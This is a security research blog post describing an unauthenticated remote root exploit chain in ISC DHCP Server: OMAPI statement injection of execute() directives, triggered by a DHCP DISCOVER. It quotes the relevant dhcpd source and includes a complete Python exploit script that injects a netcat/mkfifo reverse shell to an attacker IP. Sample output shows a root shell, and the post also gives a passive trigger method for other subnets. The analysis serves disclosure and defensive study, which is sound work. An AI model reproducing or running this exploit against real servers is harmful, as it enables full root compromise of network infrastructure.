
While doing some code analysis of network services running as root in one of my lab VMs, I came across ISC DHCP Server (dhcpd), a common DHCP implementation in Linux environments.
I cloned the codebase and used Claude Opus 4.6 to analyze it from a security perspective. After extensive source code review and investigation, I identified something significant: not a direct vulnerability, but a chain of intended features and behaviors that, when combined together, give you unauthenticated remote code execution as root.
This isn’t about memory corruption or logical flaws. Rather, it demonstrates how a piece of software is designed, how its components interact, and how those interactions create an unintended path from unauthenticated network access to arbitrary command execution as root.
Sometimes the most dangerous bugs aren’t bugs at all, they’re features working exactly as documented, in a combination that nobody considered before from an offensive perspective.
Summary about ISC DHCP Server
ISC DHCP Server represents the reference Dynamic Host Configuration Protocol implementation maintained by the Internet Systems Consortium since the mid-1990s, with widespread deployment across enterprise and ISP environments globally.
ISC officially declared DHCP Server end-of-life in late 2022, with final releases published October 5, 2022. Despite end-of-life status, many Linux distributions continue shipping it, and production environments remain unmigrated.
The daemon operates as root to access raw sockets for link-layer DHCP packet transmission/reception. It listens on port 67/UDP and additionally on port 7911/TCP when OMAPI management is configured.
A few words about DHCP
DHCP (Dynamic Host Configuration Protocol) automatically assigns network configuration to devices joining a network. Every time you connect your laptop to Wi-Fi or plug in an Ethernet cable, DHCP is what gives your machine an IP address, default gateway, and DNS servers without any manual setup.
ISC dhcpd implements the server component, listening for broadcast packets, managing IP address pools (leases), tracking assignments by MAC address, and processing lease renewals and expirations. The software also supports static host declarations, which map specific MAC addresses to fixed IPs and enable custom configuration through host entries.
What is OMAPI?
OMAPI (Object Management API) is a TCP-based management protocol that dhcpd exposes for runtime object manipulation. When administrators configure an omapi-port directive in dhcpd.conf, the server listens on that TCP port and permits clients to create, modify, query, and delete server objects including hosts, leases, and groups.
The critical security aspect is that authentication is completely optional. While OMAPI supports optional HMAC-MD5 authentication via the omapi-key directive, many deployments enable OMAPI without configuring a key. A typical exposed configuration requires just one line: omapi-port 7911; with no authentication enabled, leaving the interface accessible to anyone reaching that TCP port.
Analyzing the chain
Four distinct components – each functioning as designed – combine to create an unauthenticated root code execution vulnerability:
OMAPI’s open access: The Object Management API listens on TCP port 7911 without mandatory authentication. A configuration line like omapi-port 7911; exposes the interface with no security controls.
Statement injection capability: OMAPI accepts a statements attribute on host objects. When processing this attribute via dhcp_host_set_value() in server/omapi.c, the server parses attacker-supplied bytes using the same configuration language parser as dhcpd.conf, with no filtering for dangerous statement types.
Executable statement parsing: The parse_executable_statements() function processes user input as configuration directives. It recognizes execute() calls and builds executable structures containing command paths and arguments, storing them in host group statement chains.
Unprivileged trigger mechanism: A standard DHCP DISCOVER broadcast – sendable by any unprivileged user – contains a chaddr field. When dhcpd processes this packet, it matches the hardware address against host entries and executes attached statements as the running user (root), via fork() and execvp().
OMAPI accepts the statements attribute on host objects
OMAPI enables injection of executable configuration language directly into host declarations. The protocol allows clients to create host objects with a statements attribute containing directives identical to those in config files.
A typical host block declares hardware address, fixed IP, and optional execute directives:
host example {
hardware ethernet 00:11:22:33:44:55;
fixed-address 10.0.0.100;
option domain-name-servers 8.8.8.8;
execute("/usr/local/bin/notify", "new-lease", "10.0.0.100");
}
The codebase structures this through group and host_decl definitions. When OMAPI receives attribute updates, it invokes dhcp_host_set_value(), which checks for the statements attribute name and processes it through the standard configuration parser without allowlisting safe statement types. The parser creates a parse object from raw OMAPI bytes and calls parse_executable_statements() with context_any – permitting all statement types including dangerous ones – ultimately attaching results to host->group->statements.
parse_executable_statements parses attacker input as a configuration language
parse_executable_statements() in common/parse.c represents the same parser mechanism employed to handle dhcpd.conf during initialization. The function iterates through input content, parsing each statement and connecting them into a linked list of executable_statement structures:
int parse_executable_statements (statements, cfile, lose, case_context)
struct executable_statement **statements;
struct parse *cfile;
int *lose;
enum expression_context case_context;
{
struct executable_statement **next;
next = statements;
while (parse_executable_statement (next, cfile, lose, case_context))
next = &((*next) -> next);
if (!*lose)
return 1;
return 0;
}
Each loop iteration calls parse_executable_statement(), which implements a broad switch statement managing every statement type supported by the configuration language. Among these is the EXECUTE case, where the parser recognizes execute("command", "arg1", "arg2", ...); syntax and constructs an executable_statement with opcode execute_statement:
case EXECUTE:
#ifdef ENABLE_EXECUTE
skip_token(&val, NULL, cfile);
if (!executable_statement_allocate (result, MDL))
log_fatal ("no memory for execute statement.");
(*result)->op = execute_statement;
token = next_token(&val, NULL, cfile);
if (token != LPAREN) {
parse_warn(cfile, "left parenthesis expected.");
skip_to_semi(cfile);
*lose = 1;
return 0;
}
token = next_token(&val, &len, cfile);
if (token != STRING) {
parse_warn(cfile, "Expecting a quoted string.");
skip_to_semi(cfile);
*lose = 1;
return 0;
}
(*result)->data.execute.command = dmalloc(len + 1, MDL);
if ((*result)->data.execute.command == NULL)
log_fatal("can't allocate command name");
strcpy((*result)->data.execute.command, val);
ep = &(*result)->data.execute.arglist;
(*result)->data.execute.argc = 0;
while((token = next_token(&val, NULL, cfile)) == COMMA) {
if (!expression_allocate(ep, MDL))
log_fatal ("can't allocate expression");
if (!parse_data_expression (&(*ep) -> data.arg.val,
cfile, lose)) {
if (!*lose) {
parse_warn (cfile, "expecting expression.");
*lose = 1;
}
skip_to_semi(cfile);
*lose = 1;
return 0;
}
ep = &(*ep)->data.arg.next;
(*result)->data.execute.argc++;
}
The parser extracts the command string (initial argument) and constructs a linked list of argument expressions. Storage occurs in result->data.execute – the command path in .command, arguments in .arglist, and count in .argc.
The resulting executable_statement attaches to host->group->statements, remaining in memory awaiting triggering.
The execute() statement is controlled behind the ENABLE_EXECUTE compilation flag, though enabled by default. From configure.ac:
# execute() support.
AC_ARG_ENABLE(execute,
AS_HELP_STRING([--enable-execute],[enable support for execute() in config (default is yes)]))
# execute() is on by default, so define if it is not explicitly disabled.
if test "$enable_execute" != "no" ; then
enable_execute="yes"
AC_DEFINE([ENABLE_EXECUTE], [1],
[Define to include execute() config language support.])
fi
Standard ISC DHCP Server builds include execute() compiled in. Removing it requires explicitly passing --disable-execute during compilation – a step virtually nobody implements because most administrators remain unaware the flag exists.
Host matching during DHCP processing triggers statements
When dhcpd processes a DHCP DISCOVER or REQUEST packet, it identifies host entries by matching the client’s MAC address. The ack_lease() function in server/dhcp.c performs this lookup using find_hosts_by_haddr(), extracting the chaddr field directly from the incoming DHCP packet:
if (!host) {
find_hosts_by_haddr (&hp,
packet -> raw -> htype,
packet -> raw -> chaddr,
packet -> raw -> hlen,
MDL);
for (h = hp; h; h = h -> n_ipaddr) {
if (!h -> fixed_addr)
break;
}
if (h)
host_reference (&host, h, MDL);
if (hp != NULL)
host_dereference(&hp, MDL);
}
Upon locating a matching host declaration, the server executes all statements attached to that host’s group, including any injected execute() directives:
/* If we have a host_decl structure, run the options associated
with its group. Whether the host decl struct is old or not. */
if (host)
execute_statements_in_scope (NULL, packet, lease, NULL,
packet->options, state->options,
&lease->scope, host->group,
(lease->pool
? lease->pool->group
: lease->subnet->group),
NULL);
The execute_statements_in_scope() function in common/execute.c recursively traverses the group scope chain and invokes execute_statements() for each group’s statement list:
void execute_statements_in_scope (result, packet,
lease, client_state, in_options,
out_options, scope, group,
limiting_group, on_star)
{
struct group *limit;
if (!group)
return;
for (limit = limiting_group; limit; limit = limit -> next) {
if (group == limit)
return;
}
if (group -> next)
execute_statements_in_scope (result, packet,
lease, client_state,
in_options, out_options, scope,
group->next, limiting_group,
on_star);
execute_statements (result, packet, lease, client_state,
in_options, out_options, scope,
group->statements, on_star);
}
The execute_statements() function iterates through the linked list of executable_statement structures. When an execute_statement opcode is encountered, it constructs an argv array from the stored command and arguments, then invokes fork() and execvp():
case execute_statement: {
#ifdef ENABLE_EXECUTE
struct expression *expr;
char **argv;
int i, argc = r->data.execute.argc;
pid_t p;
/* save room for the command and the NULL terminator */
argv = dmalloc((argc + 2) * sizeof(*argv), MDL);
if (!argv)
break;
argv[0] = dmalloc(strlen(r->data.execute.command) + 1, MDL);
if (argv[0]) {
strcpy(argv[0], r->data.execute.command);
} else {
goto execute_out;
}
for (i = 1, expr = r->data.execute.arglist; expr;
expr = expr->data.arg.next, i++) {
memset (&ds, 0, sizeof(ds));
status = (evaluate_data_expression
(&ds, packet,
lease, client_state, in_options,
out_options, scope,
expr->data.arg.val, MDL));
if (status) {
argv[i] = dmalloc(ds.len + 1, MDL);
if (argv[i]) {
memcpy(argv[i], ds.data, ds.len);
argv[i][ds.len] = 0;
}
data_string_forget (&ds, MDL);
if (!argv[i]) {
goto execute_out;
}
} else {
goto execute_out;
}
}
argv[i] = NULL;
if ((p = fork()) > 0) {
int status;
waitpid(p, &status, 0);
} else if (p == 0) {
execvp(argv[0], argv);
log_error("Unable to execute %s: %m", argv[0]);
_exit(127);
}
The code includes no sandboxing, privilege reduction, environment cleaning, or restrictions on executable paths. The execvp() call operates with the same user privileges as dhcpd itself, which is root.
Putting it all together
None of these are bugs individually. OMAPI is working as designed. execute() is working as designed. Host matching is working as designed. UDP broadcast doesn’t need root. But chain them together and you get unauthenticated root RCE from any unprivileged user on the network.
OMAPI Connection (unauthenticated)
|
v
Create host object with injected execute() statement
|
v
Send DHCP DISCOVER with matching MAC address
|
v
dhcpd finds host entry and executes statements
|
v
Root shell obtained
Proof of Concept
The exploit is a Python3 script implementing the attack chain:
#!/usr/bin/python3
# Exploit Title: ISC DHCP Server 4.1-4.4.x - Remote Code Execution (RCE)
# Date: 2026-04-29
# Exploit Author: Askar (@mohammadaskar2)
# Vendor Homepage: https://www.isc.org/dhcp/
# Version: 4.1.0 - 4.4.3-P1 (any version compiled with execute() support)
# Tested on: Debian 13
import argparse
import socket
import struct
import sys
import os
import time
import random
import subprocess
import select
from threading import Thread, Event
OMAPI_PORT = 7911
def pack_intro():
return struct.pack("!II", 100, 24)
def pack_nv(name, value):
return struct.pack("!H", len(name)) + name + struct.pack("!I", len(value)) + value
def pack_nv_int(name, value):
return struct.pack("!H", len(name)) + name + struct.pack("!II", 4, value)
def pack_nv_end():
return struct.pack("!H", 0)
def pack_message(op, handle, xid, rid, msg_nvs, obj_nvs):
header = struct.pack("!IIIIII", 0, 0, op, handle, xid, rid)
body = b""
for nv in msg_nvs:
body += nv
body += pack_nv_end()
for nv in obj_nvs:
body += nv
body += pack_nv_end()
return header + body
def recv_exact(sock, n):
data = b""
while len(data) < n:
chunk = sock.recv(n - len(data))
if not chunk:
raise ConnectionError("Connection closed")
data += chunk
return data
def recv_response(sock):
header = recv_exact(sock, 24)
authid, authlen, op, handle, xid, rid = struct.unpack("!IIIIII", header)
nvs = {}
for _ in range(2):
while True:
nlen = struct.unpack("!H", recv_exact(sock, 2))[0]
if nlen == 0:
break
name = recv_exact(sock, nlen)
vlen = struct.unpack("!I", recv_exact(sock, 4))[0]
value = recv_exact(sock, vlen)
nvs[name] = value
if authlen > 0:
recv_exact(sock, authlen)
return {"op": op, "handle": handle, "nvs": nvs}
class OmapiConn:
def __init__(self, host, port=7911, timeout=10):
self.host = host
self.port = port
self.timeout = timeout
self.sock = None
def connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.connect((self.host, self.port))
self.sock.sendall(pack_intro())
intro = recv_exact(self.sock, 8)
ver, _ = struct.unpack("!II", intro)
if ver != 100:
raise ConnectionError(f"Bad OMAPI version: {ver}")
def reconnect(self):
self.close()
time.sleep(0.5)
self.connect()
def close(self):
if self.sock:
try:
self.sock.close()
except OSError:
pass
self.sock = None
def transact(self, op, handle, xid, msg_nvs, obj_nvs):
msg = pack_message(op, handle, xid, 0, msg_nvs, obj_nvs)
self.sock.sendall(msg)
return recv_response(self.sock)
def format_mac(mac_bytes):
return ":".join(f"{b:02x}" for b in mac_bytes)
def parse_mac(mac_str):
mac_str = mac_str.replace('-', ':')
parts = mac_str.split(':')
if len(parts) != 6:
print(f"[-] Invalid MAC address: {mac_str} (need 6 octets, got {len(parts)})")
sys.exit(1)
return bytes(int(b, 16) for b in parts)
def get_local_mac():
result = subprocess.run(["ip", "route", "show", "default"],
capture_output=True, text=True)
iface = None
for line in result.stdout.strip().split('\n'):
parts = line.split()
if 'dev' in parts:
iface = parts[parts.index('dev') + 1]
break
if not iface:
return None, None
result = subprocess.run(["ip", "-o", "link", "show", iface],
capture_output=True, text=True)
for part in result.stdout.split():
if ':' in part and len(part) == 17 and all(c in '0123456789abcdef:' for c in part):
mac_bytes = bytes(int(b, 16) for b in part.split(':'))
return mac_bytes, iface
return None, None
# Reference: RFC 2131 - Dynamic Host Configuration Protocol
# https://datatracker.ietf.org/doc/html/rfc2131#section-2
def build_dhcp_discover(mac_bytes):
xid = random.randint(0, 0xFFFFFFFF)
pkt = struct.pack("!BBBB", 1, 1, 6, 0) # op=BOOTREQUEST, htype=ETH, hlen=6, hops=0
pkt += struct.pack("!I", xid) # xid (transaction ID)
pkt += struct.pack("!HH", 0, 0x8000) # secs=0, flags=BROADCAST
pkt += b'\x00' * 4 # ciaddr (client IP - 0 for DISCOVER)
pkt += b'\x00' * 4 # yiaddr (your IP - filled by server)
pkt += b'\x00' * 4 # siaddr (server IP)
pkt += b'\x00' * 4 # giaddr (relay agent IP)
pkt += mac_bytes + b'\x00' * 10 # chaddr (client hardware address, 16 bytes)
pkt += b'\x00' * 64 # sname (server host name)
pkt += b'\x00' * 128 # file (boot file name)
pkt += struct.pack("!I", 0x63825363) # DHCP magic cookie
pkt += bytes([53, 1, 1]) # Option 53: DHCP Message Type = DISCOVER
pkt += bytes([55, 4, 1, 3, 6, 15]) # Option 55: Parameter Request List
pkt += bytes([255]) # Option 255: End
return pkt
def send_dhcp_discover(mac_bytes):
pkt = build_dhcp_discover(mac_bytes)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
sock.sendto(pkt, ('255.255.255.255', 67))
sock.close()
shell_connected = Event()
def connection_handler(port):
print("[+] Listener started on port %s" % port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", int(port)))
s.listen(1)
conn, addr = s.accept()
shell_connected.set()
print("[+] Connection received from %s" % addr[0])
print("[+] Incoming root shell!!")
try:
while True:
readable, _, _ = select.select([conn, sys.stdin], [], [])
if conn in readable:
data = conn.recv(4096)
if not data:
print("[*] Connection closed")
break
sys.stdout.write(data.decode(errors="replace"))
sys.stdout.flush()
if sys.stdin in readable:
cmd = sys.stdin.readline()
if not cmd:
break
conn.send(cmd.encode())
except (BrokenPipeError, ConnectionResetError):
print("[*] Connection lost")
finally:
conn.close()
s.close()
def delete_existing_host(conn, mac_bytes):
xid = random.randint(1, 0x7FFFFFFF)
resp = conn.transact(1, 0, xid,
[pack_nv(b"type", b"host")],
[pack_nv(b"hardware-address", mac_bytes),
pack_nv_int(b"hardware-type", 1)])
if resp["op"] == 3 and resp["handle"] != 0:
handle = resp["handle"]
xid2 = random.randint(1, 0x7FFFFFFF)
msg = pack_message(6, handle, xid2, 0, [], [])
conn.sock.sendall(msg)
recv_response(conn.sock)
return True
return False
def inject_host(conn, mac_bytes, statement):
host_name = f"pwn-{random.randint(10000, 99999)}"
xid = random.randint(1, 0x7FFFFFFF)
resp = conn.transact(1, 0, xid,
[pack_nv(b"type", b"host"),
pack_nv_int(b"create", 1),
pack_nv_int(b"exclusive", 1)],
[pack_nv(b"name", host_name.encode()),
pack_nv(b"hardware-address", mac_bytes),
pack_nv_int(b"hardware-type", 1),
pack_nv(b"statements", statement.encode())])
if resp["op"] == 3:
return host_name
else:
msg = resp["nvs"].get(b"message", b"unknown").decode("ascii", errors="replace")
raise RuntimeError(f"Host creation failed: {msg}")
def main():
parser = argparse.ArgumentParser(
description="ISC DHCP Server - RCE via OMAPI Statement Injection")
parser.add_argument("--target", required=True, help="IP of the dhcpd server")
parser.add_argument("--attacker-ip", required=True, help="Your IP for reverse shell")
parser.add_argument("--attacker-port", required=True, type=int, help="Listener port")
parser.add_argument("--mac", help="Target MAC (auto-detected if omitted)")
args = parser.parse_args()
print("=" * 60)
print(" ISC DHCP Server - Remote Code Execution (RCE)")
print(" Unauthenticated OMAPI Statement Injection")
print("=" * 60)
print()
print(f"[*] Target : {args.target}")
print(f"[*] Reverse shell : {args.attacker_ip}:{args.attacker_port}")
print(f"[*] Running as : uid={os.getuid()}")
print()
if args.mac:
mac_bytes = parse_mac(args.mac)
print(f"[+] Using provided MAC: {format_mac(mac_bytes)}")
else:
local_mac, local_iface = get_local_mac()
if local_mac:
mac_bytes = local_mac
print(f"[+] Local MAC detected: {format_mac(mac_bytes)} ({local_iface})")
else:
print("[-] Could not detect local MAC. Use --mac to specify.")
sys.exit(1)
print(f"[*] Connecting to OMAPI on {args.target}...")
conn = OmapiConn(args.target, OMAPI_PORT)
try:
conn.connect()
except Exception as e:
print(f"[-] OMAPI connection failed: {e}")
sys.exit(1)
print("[+] Connected - no authentication required!")
deleted = delete_existing_host(conn, mac_bytes)
if deleted:
print(f"[+] Deleted existing host for {format_mac(mac_bytes)}")
conn.reconnect()
rand_pipe = f"/tmp/.p{random.randint(1000,9999)}"
revshell = (
f"rm -f {rand_pipe};"
f"mkfifo {rand_pipe};"
f"cat {rand_pipe}|/bin/sh -i 2>&1|nc {args.attacker_ip} {args.attacker_port} >{rand_pipe};"
f"rm -f {rand_pipe}"
)
statement = f'execute("/bin/bash", "-c", "{revshell}");'
print(f"[+] Injecting reverse shell payload for {format_mac(mac_bytes)}...")
try:
host_name = inject_host(conn, mac_bytes, statement)
except RuntimeError as e:
print(f"[-] {e}")
conn.close()
sys.exit(1)
print(f"[+] Host '{host_name}' created with execute() payload!")
conn.close()
handler_thread = Thread(target=connection_handler, args=(args.attacker_port,))
handler_thread.start()
time.sleep(1)
print(f"[+] Triggering payload via broadcast DHCPDISCOVER...")
for i in range(3):
if shell_connected.is_set():
break
send_dhcp_discover(mac_bytes)
print(f"[+] DHCPDISCOVER #{i+1} sent")
time.sleep(2)
handler_thread.join()
if __name__ == "__main__":
main()
Running the exploit
$ python3 dhcp-server-rce.py --target 10.10.10.132 --attacker-ip 10.10.10.129 --attacker-port 1337 --mac 00:0c:29:3a:c0:aa
============================================================
ISC DHCP Server - Remote Code Execution (RCE)
Unauthenticated OMAPI + Statement Injection
============================================================
[*] Target : 10.10.10.132
[*] Reverse shell : 10.10.10.129:1337
[*] Running as : uid=1000
[+] Using provided MAC: 00:0c:29:3a:c0:aa
[*] Connecting to OMAPI on 10.10.10.132...
[+] Connected - no authentication required!
[+] Deleted existing host for 00:0c:29:3a:c0:aa
[+] Injecting reverse shell payload for 00:0c:29:3a:c0:aa...
[+] Host 'pwn-21512' created with execute() payload!
[+] Listener started on port 1337
[+] Triggering payload via broadcast DHCPDISCOVER...
[+] DHCPDISCOVER #1 sent
[+] Connection received from 10.10.10.132
[+] Incoming root shell!!
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

Notes on the trigger mechanism
The DHCP DISCOVER packet must originate from the same Layer 2 network segment as the target system. This requirement exists because dhcpd operates using a PF_PACKET raw socket with BPF filtering at the link layer rather than through normal IP stack processing. Broadcasts from different subnets will not arrive at dhcpd’s listening socket.
However, remote exploitation from separate subnets remains possible through a passive approach. An attacker injects the malicious host via OMAPI (standard routable TCP), then waits for the payload to execute automatically when any DHCP client with the matching MAC address renews its lease. Given typical default lease durations of 600-7200 seconds, the payload fires within approximately half the lease duration without requiring active triggering.
During Ubuntu testing, the exploit achieved successful OMAPI injection and host creation with persistence to the lease file, yet command execution failed to occur. Ubuntu’s AppArmor profile for dhcpd restricts execution to only /usr/sbin/dhcpd itself. The profile contains no exec rules for /usr/bin/bash, /bin/sh, or anything else. When the forked child process invokes execvp("/bin/bash", ...), the kernel-level AppArmor enforcement rejects the operation.
Tracing the chain through logs
Real-time monitoring of dhcpd logs during exploitation reveals the execution pathway. The execute_statement implementation logs each argv component at debug level prior to fork(), displaying the exact command about to execute:
dhcpd[1115]: execute_statement argv[0] = /bin/bash
dhcpd[1115]: execute_statement argv[1] = -c
dhcpd[1115]: execute_statement argv[2] = COMMAND
On AppArmor-enforced systems, subsequent log entries demonstrate execution failure:
dhcpd[49090]: Unable to execute /bin/bash: Permission denied
dhcpd[1115]: execute: /bin/bash exit status 32512
The first message originates from the forked child (PID 49090 differs from parent 1115) after execvp() returns with EACCES. The parent subsequently logs exit status 32512 (representing 127 « 8 from the child’s _exit(127) call upon exec failure).
Normal DHCP processing continues uninterrupted:
dhcpd[1115]: DHCPREQUEST for 10.10.10.129 from 00:0c:29:96:f1:d8 via ens33
dhcpd[1115]: DHCPACK on 10.10.10.129 to 00:0c:29:96:f1:d8 (VulnBox) via ens33
Kernel logs reveal AppArmor’s enforcement details:
audit: type=1400 apparmor="DENIED" operation="exec" profile="/usr/sbin/dhcpd"
name="/usr/bin/bash" pid=932133 comm="isc-worker0000"
requested_mask="x" denied_mask="x" fsuid=0 ouid=0
This demonstrates the ISC worker thread attempting to execute /usr/bin/bash with AppArmor blocking the request. The fsuid=0 indicates root privileges. When AppArmor is disabled, those argv debug lines appear without subsequent “Unable to execute” messages or exit statuses – the fork succeeds, the child executes cleanly, and the payload operates as root.
Without AppArmor enforcement, dhcpd’s logs contain only the three argv debug lines followed by standard DHCP request-response activity. The command executes silently in the background with no distinctive logging evidence.
Conclusion
This research demonstrates that not every critical finding stems from traditional memory corruption or injection vulnerabilities. OMAPI is documented. execute() is documented. Host matching is documented. Yet when examined individually, each component functions as intended. The danger emerges from understanding code composition – how interconnected features create unintended privilege escalation pathways when combined.
For security reviewers examining root-privileged services, feature interactions warrant careful attention. Sometimes the most impactful findings aren’t memory corruption or injection bugs – they’re design-level chains where each individual component is working correctly, but the composition is catastrophic.
Claude Opus 4.6 accelerated initial code review through entry point mapping, call path tracing, and context building across unfamiliar code sections. Nonetheless, discovering the vulnerability chain required manual analysis – LLM assistance primarily reduced the learning curve for understanding the codebase architecture.